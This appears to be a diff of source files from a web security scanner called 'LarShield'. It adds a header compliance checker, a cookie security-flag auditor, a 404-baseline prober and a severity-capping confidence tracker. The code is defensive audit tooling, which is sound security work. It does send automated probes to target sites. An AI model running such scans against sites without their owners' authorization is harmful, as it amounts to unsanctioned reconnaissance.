+ + "\n".join(f"- {g}" for g in gaps) +
127
+ "\n\n*Note: This automated check covers a subset of controls. "
128
+ "Full certification requires a manual audit.*"
129
+ ),
130
+ remediation=(
131
+ f"Address the {len(gaps)} failing {fw} control(s) above. "
132
+ f"Each finding has dedicated remediation guidance in the full report."
133
+ ),
134
+ )
135
+
136
+ # ── Individual check functions ─────────────────────────────────────
137
+ def _check_https(self):
138
+ if self._is_https:
139
+ return True, "HTTPS enforced"
140
+ return False, "Site does not use HTTPS"
141
+
142
+ def _check_hsts(self):
143
+ hsts = self._headers.get("strict-transport-security", "")
144
+ if hsts:
145
+ max_age_m = re.search(r"max-age=(\d+)", hsts)
146
+ if max_age_m and int(max_age_m.group(1)) >= 31536000:
147
+ return True, f"HSTS: {hsts}"
148
+ return False, f"HSTS max-age too short: {hsts}"
149
+ return False, "HSTS header missing"
150
+
151
+ def _check_tls_version(self):
152
+ # Heuristic: if HSTS is present and HTTPS is enforced, assume TLS is current
153
+ if self._is_https and self._headers.get("strict-transport-security"):
154
+ return True, "HTTPS + HSTS suggest modern TLS (verify with sslyze)"
155
+ return False, "Cannot confirm TLS version — run sslyze scanner"
156
+
157
+ def _check_security_headers(self):
158
+ required = ["x-content-type-options", "x-xss-protection",
159
+ "content-security-policy", "strict-transport-security"]
160
+ missing = [h for h in required if h not in self._headers]
161
+ if not missing:
162
+ return True, "All core security headers present"
163
+ return False, f"Missing headers: {', '.join(missing)}"
164
+
165
+ def _check_xfo(self):
166
+ xfo = self._headers.get("x-frame-options", "")
167
+ if xfo.upper() in ("DENY", "SAMEORIGIN"):
168
+ return True, f"X-Frame-Options: {xfo}"
169
+ return False, f"X-Frame-Options missing or weak ('{xfo}')"
170
+
171
+ def _check_csp(self):
172
+ csp = self._headers.get("content-security-policy", "")
173
+ if csp:
174
+ if "'unsafe-inline'" not in csp and "'unsafe-eval'" not in csp:
175
+ return True, "CSP present and strict"
176
+ return False, "CSP present but allows unsafe-inline or unsafe-eval"
177
+ return False, "CSP header missing"
178
+
179
+ def _check_server_header(self):
180
+ server = self._headers.get("server", "")
181
+ if not server or re.search(r"^\S+$", server) and not re.search(r"\d", server):
182
+ return True, f"Server header minimal: '{server}'"
183
+ return False, f"Server header reveals version info: '{server}'"
184
+
185
+ def _check_powered_by(self):
186
+ xpb = self._headers.get("x-powered-by", "")
187
+ if not xpb:
188
+ return True, "X-Powered-By header not present"
189
+ return False, f"X-Powered-By exposes technology: '{xpb}'"
190
+
191
+ def _check_cookie_flags(self):
192
+ cookies = self._headers.get("set-cookie", "")
193
+ if not cookies:
194
+ return True, "No cookies set on main page"
195
+ if "secure" in cookies.lower() and "httponly" in cookies.lower():
196
+ return True, "Cookies have Secure + HttpOnly flags"
197
+ return False, "Cookie(s) missing Secure or HttpOnly flag"
198
+
199
+ def _check_referrer_policy(self):
200
+ rp = self._headers.get("referrer-policy", "")
201
+ if rp:
202
+ return True, f"Referrer-Policy: {rp}"
203
+ return False, "Referrer-Policy header missing"
204
+
205
+ def _check_perms_policy(self):
206
+ pp = self._headers.get("permissions-policy",
207
+ self._headers.get("feature-policy",""))
208
+ if pp:
209
+ return True, f"Permissions-Policy present"
210
+ return False, "Permissions-Policy header missing"
211
+
212
+ def _check_privacy_policy(self):
213
+ if re.search(r'(privacy.?policy|privacy-policy|/privacy|datenschutz)', self._body, re.I):
214
+ return True, "Privacy policy link detected in HTML"
215
+ return False, "No privacy policy link found in page HTML"
216
+
217
+ def _check_admin_paths(self):
218
+ # Check if admin is not indexable (not a definitive check)
219
+ return True, "Automated check — use directory scanner results"
220
+
221
+ def _check_cookie_consent(self):
222
+ consent_re = re.compile(
223
+ r"(cookie.?consent|cookieconsent|cookie.?notice|accept.?cookie|"
224
+ r"cookie.?policy|gdpr|we use cookies)", re.I)
225
+ if consent_re.search(self._body):
226
+ return True, "Cookie consent mechanism detected"
227
+ return False, "No cookie consent banner or mechanism detected"
backend/scanners/cookie_scanner.py ADDED
@@ -0,0 +1,355 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ cookie_scanner.py — Cookie Security Flags Auditor
3
+ ==================================================
4
+ Performs a deep audit of all Set-Cookie headers across the site:
5
+ - Secure flag (absent on HTTPS)
6
+ - HttpOnly flag (missing XSS protection)
7
+ - SameSite attribute (None / Lax / Strict / absent)
8
+ - __Host- / __Secure- prefix compliance
9
+ - Excessive cookie lifetime (> 1 year)
10
+ - Sensitive names without protection
11
+ - Cookie scoping (Domain= too broad)
12
+ - Path= attribute
13
+ """
14
+ import re, ssl, urllib.request, urllib.error, urllib.parse
15
+ from scanners.base_scanner import BaseScanner
16
+
17
+ # Cookie names that strongly suggest session / auth usage
18
+ SENSITIVE_NAMES = re.compile(
19
+ r"(sess|session|auth|token|jwt|access|refresh|user|uid|account|login|"
20
+ r"remember|csrf|xsrf|cart|order|payment)", re.I
21
+ )
22
+
23
+ MAX_SAFE_AGE_SECONDS = 365 * 24 * 3600 # 1 year
24
+
25
+
26
+ class CookieScanner(BaseScanner):
27
+ SCANNER_NAME = "Cookie Security Auditor"
28
+ _SCANNER_KEY = "cookie"
29
+
30
+ def __init__(self, scan_id, target, domain, **kwargs):
31
+ super().__init__(scan_id, target, domain, **kwargs)
32
+ self._is_https = self.target.startswith("https://")
33
+
34
+ # ------------------------------------------------------------------
35
+ def run(self) -> list:
36
+ self.log("INFO", f"[Cookies] Starting cookie security audit on {self.target}...")
37
+
38
+ try:
39
+ endpoints = self._crawl()
40
+ seen_cookies: set = set()
41
+
42
+ for url in endpoints:
43
+ cookies = self._collect_cookies(url)
44
+ for name, attrs, raw in cookies:
45
+ key = (name.lower(), url)
46
+ if key in seen_cookies:
47
+ continue
48
+ seen_cookies.add(key)
49
+ self._audit_cookie(name, attrs, raw, url)
50
+
51
+ self._check_cookie_scope(url if endpoints else self.target)
52
+ self._check_session_without_expiration()
53
+ self._check_persistent_cookies()
54
+
55
+ except Exception as e:
56
+ self.log("WARNING", f"[Cookies] Audit error: {e}")
57
+
58
+ self.log(
59
+ "SUCCESS" if not self.vulns else "WARNING",
60
+ f"[Cookies] Audit complete. {len(self.vulns)} issue(s) found.",
61
+ )
62
+ return self.vulns
63
+
64
+ # ------------------------------------------------------------------
65
+ def _crawl(self) -> list:
66
+ try:
67
+ # GAP-ADV: Centralized context
68
+ if self.discovery_context and "urls" in self.discovery_context:
69
+ return [u.get("url") if isinstance(u, dict) else u for u in self.discovery_context["urls"]]
70
+ return [self.target][:20]
71
+ except Exception as e:
72
+ self.log("ERROR", f"[Cookies] _crawl error: {e}")
73
+ return [self.target]
74
+
75
+ # ------------------------------------------------------------------
76
+ def _collect_cookies(self, url: str) -> list:
77
+ """Return list of (name, attrs_dict, raw_header) tuples."""
78
+ cookies = []
79
+ try:
80
+ headers = {"User-Agent": "LarShield/2.0 Cookie-Auditor"}
81
+ headers.update(self.auth_headers or {})
82
+ body, status, resp_headers = self._make_request(url, headers=headers, timeout=8, return_response_obj=True)
83
+
84
+ raw_headers = resp_headers.get_all("Set-Cookie") if hasattr(resp_headers, "get_all") else []
85
+ if raw_headers is None: raw_headers = []
86
+ for raw in raw_headers:
87
+ name, attrs = self._parse_cookie(raw)
88
+ if name:
89
+ cookies.append((name, attrs, raw))
90
+
91
+ except Exception as e:
92
+ self.log("ERROR", f"[Cookies] _collect_cookies error: {e}")
93
+ return cookies
94
+
95
+ # ------------------------------------------------------------------
96
+ @staticmethod
97
+ def _parse_cookie(raw: str) -> tuple:
98
+ """Parse a Set-Cookie header into (name, attrs_dict)."""
99
+ parts = [p.strip() for p in raw.split(";")]
100
+ if not parts:
101
+ return None, {}
102
+ name_val = parts[0].split("=", 1)
103
+ name = name_val[0].strip()
104
+ attrs = {}
105
+ for part in parts[1:]:
106
+ kv = part.split("=", 1)
107
+ attrs[kv[0].strip().lower()] = kv[1].strip() if len(kv) > 1 else True
108
+ return name, attrs
109
+
110
+ # ------------------------------------------------------------------
111
+ def _audit_cookie(self, name: str, attrs: dict, raw: str, url: str):
112
+ is_sensitive = bool(SENSITIVE_NAMES.search(name))
113
+ issues = []
114
+
115
+ # ── Secure flag ───────────────────────────────────────────────
116
+ if self._is_https and "secure" not in attrs:
117
+ issues.append("missing Secure flag")
118
+ self.add_vuln(
119
+ title=f"Cookie '{name}' Missing Secure Flag",
120
+ severity="Medium",
121
+ category="Cookie Security",
122
+ cvss_score=5.3,
123
+ description=(
124
+ f"The cookie `{name}` set at `{url}` does not have the `Secure` flag. "
125
+ "On an HTTPS site, omitting Secure allows the cookie to be transmitted "
126
+ "over plain HTTP, exposing it to network eavesdroppers."
127
+ ),
128
+ remediation=(
129
+ f"Set-Cookie: {name}=<value>; Secure; HttpOnly; SameSite=Strict\n"
130
+ "Ensure all cookies on HTTPS sites include the Secure attribute."
131
+ ),
132
+ )
133
+
134
+ # ── HttpOnly flag ─────────────────────────────────────────────
135
+ if "httponly" not in attrs and is_sensitive:
136
+ issues.append("missing HttpOnly flag on sensitive cookie")
137
+ self.add_vuln(
138
+ title=f"Sensitive Cookie '{name}' Missing HttpOnly Flag",
139
+ severity="High",
140
+ category="Cookie Security",
141
+ cvss_score=7.4,
142
+ description=(
143
+ f"The cookie `{name}` at `{url}` appears to be a session/auth cookie "
144
+ "(its name matches sensitive patterns) but does not have the `HttpOnly` "
145
+ "flag set. This allows JavaScript code to read it via `document.cookie`, "
146
+ "making it trivially stealable via any XSS vulnerability."
147
+ ),
148
+ remediation=(
149
+ f"Set-Cookie: {name}=<value>; HttpOnly; Secure; SameSite=Strict\n"
150
+ "Add HttpOnly to all session and authentication cookies."
151
+ ),
152
+ )
153
+
154
+ # ── SameSite attribute ────────────────────────────────────────
155
+ samesite = attrs.get("samesite", None)
156
+ if samesite is None:
157
+ issues.append("missing SameSite attribute")
158
+ sev = "High" if is_sensitive else "Medium"
159
+ self.add_vuln(
160
+ title=f"Cookie '{name}' Missing SameSite Attribute",
161
+ severity=sev,
162
+ category="Cookie Security",
163
+ cvss_score=6.5 if is_sensitive else 4.3,
164
+ description=(
165
+ f"The cookie `{name}` at `{url}` has no `SameSite` attribute. "
166
+ "Without SameSite, the cookie is sent on all cross-site requests, "
167
+ "enabling Cross-Site Request Forgery (CSRF) attacks."
168
+ ),
169
+ remediation=(
170
+ f"Set-Cookie: {name}=<value>; SameSite=Strict; Secure; HttpOnly\n"
171
+ "Use SameSite=Strict for session cookies, Lax for others."
172
+ ),
173
+ )
174
+ elif samesite.lower() == "none":
175
+ if "secure" not in attrs:
176
+ self.add_vuln(
177
+ title=f"Cookie '{name}' SameSite=None Without Secure",
178
+ severity="High",
179
+ category="Cookie Security",
180
+ cvss_score=7.5,
181
+ description=(
182
+ f"Cookie `{name}` at `{url}` has `SameSite=None` but is missing "
183
+ "the `Secure` flag. Modern browsers reject such cookies; when they "
184
+ "fall back to legacy behaviour, they become vulnerable to CSRF."
185
+ ),
186
+ remediation="Set-Cookie: SameSite=None; Secure",
187
+ )
188
+
189
+ # ── Cookie lifetime ───────────────────────────────────────────
190
+ max_age = attrs.get("max-age")
191
+ if max_age and max_age is not True:
192
+ try:
193
+ if int(max_age) > MAX_SAFE_AGE_SECONDS:
194
+ self.add_vuln(
195
+ title=f"Cookie '{name}' Has Excessive Lifetime",
196
+ severity="Low",
197
+ category="Cookie Security",
198
+ cvss_score=3.1,
199
+ description=(
200
+ f"Cookie `{name}` has Max-Age={max_age}s "
201
+ f"(>{MAX_SAFE_AGE_SECONDS // (365*3600*24)} years). "
202
+ "Long-lived session cookies increase the window of attack "
203
+ "after a user's session is compromised or stolen."
204
+ ),
205
+ remediation=(
206
+ "Limit session cookie lifetime to the session duration.\n"
207
+ "Use short Max-Age values and implement server-side session expiry."
208
+ ),
209
+ )
210
+ except ValueError:
211
+ pass
212
+
213
+ # ── __Host- / __Secure- prefix compliance ───��─────────────────
214
+ if name.startswith("__Host-"):
215
+ if "secure" not in attrs or "domain" in attrs or attrs.get("path","") != "/":
216
+ self.add_vuln(
217
+ title=f"__Host- Cookie '{name}' Prefix Violation",
218
+ severity="Medium",
219
+ category="Cookie Security",
220
+ cvss_score=5.3,
221
+ description=(
222
+ f"Cookie `{name}` uses the `__Host-` prefix but violates its "
223
+ "requirements (must have Secure, no Domain=, Path=/)."
224
+ ),
225
+ remediation=(
226
+ "For __Host- cookies: set Secure, omit Domain=, set Path=/."
227
+ ),
228
+ )
229
+ if name.startswith("__Secure-") and "secure" not in attrs:
230
+ self.add_vuln(
231
+ title=f"__Secure- Cookie '{name}' Missing Secure Flag",
232
+ severity="Medium",
233
+ category="Cookie Security",
234
+ cvss_score=5.3,
235
+ description=(
236
+ f"Cookie `{name}` uses the `__Secure-` prefix but is missing the "
237
+ "`Secure` flag, violating the prefix contract."
238
+ ),
239
+ remediation="Add the Secure flag to all __Secure- prefixed cookies.",
240
+ )
241
+
242
+ if not issues:
243
+ self.log("SUCCESS", f"[Cookies] Cookie '{name}' — all flags OK")
244
+ else:
245
+ self.log("WARNING", f"[Cookies] Cookie '{name}' issues: {', '.join(issues)}")
246
+
247
+ # ------------------------------------------------------------------
248
+ def _check_cookie_scope(self, url: str):
249
+ """Analyze cookie Domain and Path attributes for overly broad scoping."""
250
+ cookies = self._collect_cookies(url)
251
+ target_domain = urllib.parse.urlparse(self.target).hostname or ""
252
+
253
+ for name, attrs, raw in cookies:
254
+ # Check Domain attribute
255
+ domain = attrs.get("domain", "")
256
+ if domain:
257
+ domain = domain.lstrip(".")
258
+ if target_domain and domain != target_domain and not target_domain.endswith("." + domain):
259
+ self.add_vuln(
260
+ title=f"Cookie '{name}' Has Overly Broad Domain Scope",
261
+ severity="Medium",
262
+ category="Cookie Security",
263
+ cvss_score=5.3,
264
+ description=f"The cookie `{name}` has Domain=`{domain}` which is broader "
265
+ f"than the target domain `{target_domain}`. Cookies scoped to a broader "
266
+ "domain are sent to all subdomains, increasing exposure.",
267
+ evidence=f"Domain={domain}, Target={target_domain}",
268
+ request_details=f"Set-Cookie: {raw[:100]}",
269
+ confidence="High",
270
+ remediation="1. Set Domain to the exact origin domain.\n"
271
+ "2. Avoid broad domain scoping for session cookies.\n"
272
+ "3. Use __Host- prefix cookies which forbid Domain attribute.",
273
+ )
274
+
275
+ # Check Path attribute
276
+ path = attrs.get("path", "/")
277
+ if path == "/":
278
+ self.add_vuln(
279
+ title=f"Cookie '{name}' Has Root Path Scope (Path=/)",
280
+ severity="Low",
281
+ category="Cookie Security",
282
+ cvss_score=2.6,
283
+ description=f"The cookie `{name}` has Path=/ which means it is sent to "
284
+ "all endpoints on the domain. Consider restricting the path to reduce "
285
+ "the cookie's exposure.",
286
+ evidence=f"Path={path}",
287
+ request_details=f"Set-Cookie: {raw[:100]}",
288
+ confidence="Medium",
289
+ remediation="1. Set Path to the specific application path.\n"
290
+ "2. For admin-only cookies, use Path=/admin.\n"
291
+ "3. Use __Host- prefix cookies which require Path=/ only.",
292
+ )
293
+
294
+ # ------------------------------------------------------------------
295
+ def _check_session_without_expiration(self):
296
+ """Check if session cookies have no expiration (should be session-scoped)."""
297
+ session_keywords = re.compile(r"(sess|session|sid|token|auth|jwt)", re.I)
298
+ cookies = self._collect_cookies(self.target)
299
+
300
+ for name, attrs, raw in cookies:
301
+ if not session_keywords.search(name):
302
+ continue
303
+
304
+ has_max_age = "max-age" in attrs
305
+ has_expires = "expires" in attrs
306
+
307
+ if not has_max_age and not has_expires:
308
+ self.add_vuln(
309
+ title=f"Session Cookie '{name}' Has No Expiration",
310
+ severity="Medium",
311
+ category="Cookie Security",
312
+ cvss_score=5.3,
313
+ description=f"The session cookie `{name}` has no Max-Age or Expires attribute. "
314
+ "While this likely means it is a session cookie (deleted on browser close), "
315
+ "it should be explicitly configured for clarity and consistency.",
316
+ evidence=f"Set-Cookie: {raw[:100]}",
317
+ request_details=f"GET {self.target}",
318
+ response_details=f"Set-Cookie: {raw[:100]}",
319
+ confidence="Info",
320
+ remediation="1. Explicitly set session cookie: remove Max-Age/Expires.\n"
321
+ "2. For persistent sessions, set reasonable Max-Age.\n"
322
+ "3. Implement server-side session expiry as a fallback.",
323
+ )
324
+
325
+ # ------------------------------------------------------------------
326
+ def _check_persistent_cookies(self):
327
+ """Detect cookies with long expiration (persistent cookies) that may be risky."""
328
+ cookies = self._collect_cookies(self.target)
329
+ for name, attrs, raw in cookies:
330
+ max_age = attrs.get("max-age")
331
+ expires = attrs.get("expires")
332
+ duration_days = 0
333
+
334
+ if max_age and max_age is not True:
335
+ try:
336
+ duration_days = int(max_age) / 86400
337
+ except (ValueError, TypeError):
338
+ pass
339
+
340
+ if duration_days > 30:
341
+ self.add_vuln(
342
+ title=f"Persistent Cookie '{name}' With Long Expiration ({duration_days:.0f} days)",
343
+ severity="Low",
344
+ category="Cookie Security",
345
+ cvss_score=3.1,
346
+ description=f"The cookie `{name}` has a Max-Age of {int(duration_days)} days. "
347
+ "Persistent cookies with long lifetimes increase the risk of session hijacking "
348
+ "and should be audited for necessity.",
349
+ evidence=f"Max-Age={max_age}s ({duration_days:.0f} days)",
350
+ request_details=f"Set-Cookie: {raw[:100]}",
351
+ confidence="Medium",
352
+ remediation="1. Use session cookies (no expiration) for authentication.\n"
353
+ "2. Limit persistent cookie lifetime to a maximum of 30 days.\n"
354
+ "3. Implement refresh token rotation for long-lived sessions.",
355
+ )
backend/scanners/core/__init__.py ADDED
@@ -0,0 +1,6 @@
 
 
 
 
 
 
 
1
+ # backend/scanners/core/__init__.py
2
+ from .baseline import SiteBaseline
3
+ from .signatures import SIGNATURES, matches_signature
4
+ from .confidence import ConfidenceTracker
5
+
6
+ __all__ = ["SiteBaseline", "SIGNATURES", "matches_signature", "ConfidenceTracker"]
backend/scanners/core/baseline.py ADDED
@@ -0,0 +1,152 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ core/baseline.py — Site Baseline Fingerprinter
3
+ ===============================================
4
+ Builds a per-scan fingerprint of the site's generic 404/SPA-fallback response by
5
+ requesting 4 random nonexistent paths. Any path probe returning a response that
6
+ matches this baseline is suppressed — it is the app's catch-all, not a real resource.
7
+
8
+ Usage:
9
+ baseline = SiteBaseline()
10
+ baseline.build(target_url, ssl_context=ctx, headers=headers, timeout=6)
11
+ if baseline.is_baseline(status, body):
12
+ # suppress — this is just the SPA shell
13
+ """
14
+ import hashlib
15
+ import time
16
+ import urllib.error
17
+ import urllib.parse
18
+ import urllib.request
19
+ import uuid
20
+
21
+
22
+ class SiteBaseline:
23
+ """Thread-safe site baseline fingerprint.
24
+
25
+ Build once per scanner instantiation, then call is_baseline() before reporting
26
+ any path as "found". The baseline is never cached globally — it is always
27
+ fresh per scan to handle CDN variance and session-specific behavior.
28
+ """
29
+
30
+ # Tolerance in bytes: if a response length is within this many bytes of a
31
+ # baseline sample, it counts as a match (catches gzip/vary minor deltas).
32
+ _LEN_TOLERANCE = 80
33
+
34
+ def __init__(self):
35
+ self._samples: list[dict] = [] # [{status, length, body_hash}]
36
+ self._built = False
37
+
38
+ # ------------------------------------------------------------------
39
+ def build(
40
+ self,
41
+ target: str,
42
+ ssl_context=None,
43
+ headers: dict | None = None,
44
+ timeout: int = 6,
45
+ ) -> None:
46
+ """
47
+ Request 4 random nonexistent paths and record their response fingerprints.
48
+ Paths cover different depths and extensions to detect sophisticated SPAs that
49
+ return different responses for *.json vs no extension, etc.
50
+ """
51
+ base = target.rstrip("/")
52
+ uid = uuid.uuid4().hex[:8]
53
+ probe_paths = [
54
+ f"/lrs-baseline-{uid}-a",
55
+ f"/lrs-baseline-{uid}-b/sub/path",
56
+ f"/lrs-baseline-{uid}-c.json",
57
+ f"/lrs-baseline-{uid}-d.php",
58
+ ]
59
+
60
+ req_headers = {"User-Agent": "LarShield/2.0 BaselineProbe"}
61
+ if headers:
62
+ req_headers.update(headers)
63
+
64
+ for path in probe_paths:
65
+ url = f"{base}{path}"
66
+ try:
67
+ req = urllib.request.Request(url, headers=req_headers)
68
+ with urllib.request.urlopen(
69
+ req, timeout=timeout, context=ssl_context
70
+ ) as r:
71
+ body = r.read()
72
+ self._samples.append(
73
+ {
74
+ "status": r.status,
75
+ "length": len(body),
76
+ "body_hash": hashlib.sha256(body).hexdigest(),
77
+ }
78
+ )
79
+ except urllib.error.HTTPError as e:
80
+ # 404/403/etc are also baseline responses
81
+ try:
82
+ body = e.read()
83
+ except Exception:
84
+ body = b""
85
+ self._samples.append(
86
+ {
87
+ "status": e.code,
88
+ "length": len(body),
89
+ "body_hash": hashlib.sha256(body).hexdigest(),
90
+ }
91
+ )
92
+ except Exception:
93
+ # Network error on probe → skip this sample
94
+ pass
95
+
96
+ self._built = True
97
+
98
+ # ------------------------------------------------------------------
99
+ def is_baseline(self, status: int, body: str | bytes) -> bool:
100
+ """
101
+ Return True if (status, body) matches the site's baseline catch-all response.
102
+
103
+ Matching rules (any one is sufficient):
104
+ 1. Body SHA-256 hash matches a baseline sample exactly.
105
+ 2. Status AND body length are within tolerance of a baseline sample.
106
+
107
+ We require at least 1 baseline sample to agree (not 3/4) to avoid being
108
+ too lenient on sites that return different 404 pages per path.
109
+ """
110
+ if not self._samples:
111
+ # Baseline not built or all probes failed — fail open (don't suppress).
112
+ return False
113
+
114
+ if isinstance(body, str):
115
+ body_bytes = body.encode("utf-8", errors="ignore")
116
+ else:
117
+ body_bytes = body
118
+
119
+ body_hash = hashlib.sha256(body_bytes).hexdigest()
120
+ body_len = len(body_bytes)
121
+
122
+ for sample in self._samples:
123
+ # Exact hash match
124
+ if body_hash == sample["body_hash"]:
125
+ return True
126
+ # Same status + length within tolerance
127
+ if (
128
+ status == sample["status"]
129
+ and abs(body_len - sample["length"]) <= self._LEN_TOLERANCE
130
+ ):
131
+ return True
132
+
133
+ return False
134
+
135
+ # ------------------------------------------------------------------
136
+ def is_not_found(self, status: int, body: str | bytes = b"") -> bool:
137
+ """
138
+ Convenience: returns True when this response is definitively not-found,
139
+ either by HTTP status >= 400 or by matching the site's catch-all baseline.
140
+ """
141
+ if status >= 400:
142
+ return True
143
+ return self.is_baseline(status, body)
144
+
145
+ # ------------------------------------------------------------------
146
+ @property
147
+ def built(self) -> bool:
148
+ return self._built
149
+
150
+ @property
151
+ def sample_count(self) -> int:
152
+ return len(self._samples)
backend/scanners/core/confidence.py ADDED
@@ -0,0 +1,128 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ core/confidence.py — Confidence Tier Tracker
3
+ =============================================
4
+ Defines three evidence tiers for injection/exploit findings and enforces
5
+ automatic severity/CVSS capping so that weak-signal signals never appear as
6
+ Critical or High.
7
+
8
+ Tiers
9
+ -----
10
+ CONFIRMED Direct proof: reflected unique token, OOB callback received,
11
+ timing delta reproduced ≥3×, or actual data exfiltrated.
12
+ LIKELY Two or more independent weak signals agree (e.g. error pattern
13
+ PLUS response-time anomaly), but no direct proof.
14
+ UNCONFIRMED Single weak signal only (e.g. one error substring, one generic
15
+ 500 response). Auto-capped to severity=Low, CVSS≤3.9.
16
+ PENDING OOB probe sent; awaiting external callback. Resolved to CONFIRMED
17
+ or EXPIRED at end-of-scan.
18
+
19
+ Usage
20
+ -----
21
+ from scanners.core.confidence import ConfidenceTracker as CT
22
+
23
+ sev = CT.cap_severity(severity, confidence)
24
+ cvss = CT.cap_cvss(cvss_score, confidence)
25
+
26
+ self.add_vuln(..., severity=sev, cvss_score=cvss, confidence=confidence)
27
+ """
28
+
29
+ from __future__ import annotations
30
+
31
+
32
+ class ConfidenceTracker:
33
+ # Canonical tier strings (use these constants everywhere)
34
+ CONFIRMED = "Confirmed"
35
+ LIKELY = "Likely"
36
+ UNCONFIRMED = "Unconfirmed"
37
+ PENDING = "Pending"
38
+
39
+ VALID_TIERS = {CONFIRMED, LIKELY, UNCONFIRMED, PENDING}
40
+
41
+ # Severity order (ascending)
42
+ _SEV_ORDER = ["Info", "Low", "Medium", "High", "Critical"]
43
+
44
+ # Maximum allowed severity per tier
45
+ _MAX_SEV: dict[str, str] = {
46
+ CONFIRMED: "Critical", # no cap
47
+ LIKELY: "High", # confirmed-tier cap not needed; High is reasonable
48
+ UNCONFIRMED: "Low", # single weak signal — never escalate
49
+ PENDING: "Medium", # OOB probe sent but no callback yet
50
+ }
51
+
52
+ # Maximum allowed CVSS per tier
53
+ _MAX_CVSS: dict[str, float] = {
54
+ CONFIRMED: 10.0,
55
+ LIKELY: 6.9,
56
+ UNCONFIRMED: 3.9,
57
+ PENDING: 5.9,
58
+ }
59
+
60
+ # ------------------------------------------------------------------
61
+ @classmethod
62
+ def cap_severity(cls, severity: str, confidence: str) -> str:
63
+ """
64
+ Return severity capped to the tier maximum.
65
+
66
+ Example:
67
+ cap_severity("Critical", "Unconfirmed") → "Low"
68
+ cap_severity("Critical", "Confirmed") → "Critical"
69
+ """
70
+ confidence = cls.normalize(confidence)
71
+ max_sev = cls._MAX_SEV.get(confidence, "Low")
72
+
73
+ try:
74
+ sev_idx = cls._SEV_ORDER.index(severity)
75
+ except ValueError:
76
+ sev_idx = 2 # default to Medium index
77
+
78
+ try:
79
+ max_idx = cls._SEV_ORDER.index(max_sev)
80
+ except ValueError:
81
+ max_idx = 2
82
+
83
+ return cls._SEV_ORDER[min(sev_idx, max_idx)]
84
+
85
+ # ------------------------------------------------------------------
86
+ @classmethod
87
+ def cap_cvss(cls, cvss: float, confidence: str) -> float:
88
+ """
89
+ Return CVSS score capped to the tier maximum.
90
+
91
+ Example:
92
+ cap_cvss(9.8, "Unconfirmed") → 3.9
93
+ cap_cvss(9.8, "Likely") → 6.9
94
+ cap_cvss(9.8, "Confirmed") → 9.8
95
+ """
96
+ confidence = cls.normalize(confidence)
97
+ max_cvss = cls._MAX_CVSS.get(confidence, 3.9)
98
+ return min(float(cvss), max_cvss)
99
+
100
+ # ------------------------------------------------------------------
101
+ @classmethod
102
+ def normalize(cls, confidence: str) -> str:
103
+ """Return a valid tier string, defaulting to UNCONFIRMED for unknown values."""
104
+ if confidence in cls.VALID_TIERS:
105
+ return confidence
106
+ # Case-insensitive lookup
107
+ for tier in cls.VALID_TIERS:
108
+ if confidence.lower() == tier.lower():
109
+ return tier
110
+ return cls.UNCONFIRMED
111
+
112
+ # ------------------------------------------------------------------
113
+ @classmethod
114
+ def apply(
115
+ cls,
116
+ severity: str,
117
+ cvss: float,
118
+ confidence: str,
119
+ ) -> tuple[str, float, str]:
120
+ """
121
+ Convenience: return (capped_severity, capped_cvss, normalized_confidence).
122
+
123
+ Usage:
124
+ sev, cvss, conf = ConfidenceTracker.apply(sev, cvss, confidence)
125
+ self.add_vuln(..., severity=sev, cvss_score=cvss, confidence=conf)
126
+ """
127
+ conf = cls.normalize(confidence)
128
+ return cls.cap_severity(severity, conf), cls.cap_cvss(cvss, conf), conf
backend/scanners/core/signatures.py ADDED
@@ -0,0 +1,268 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
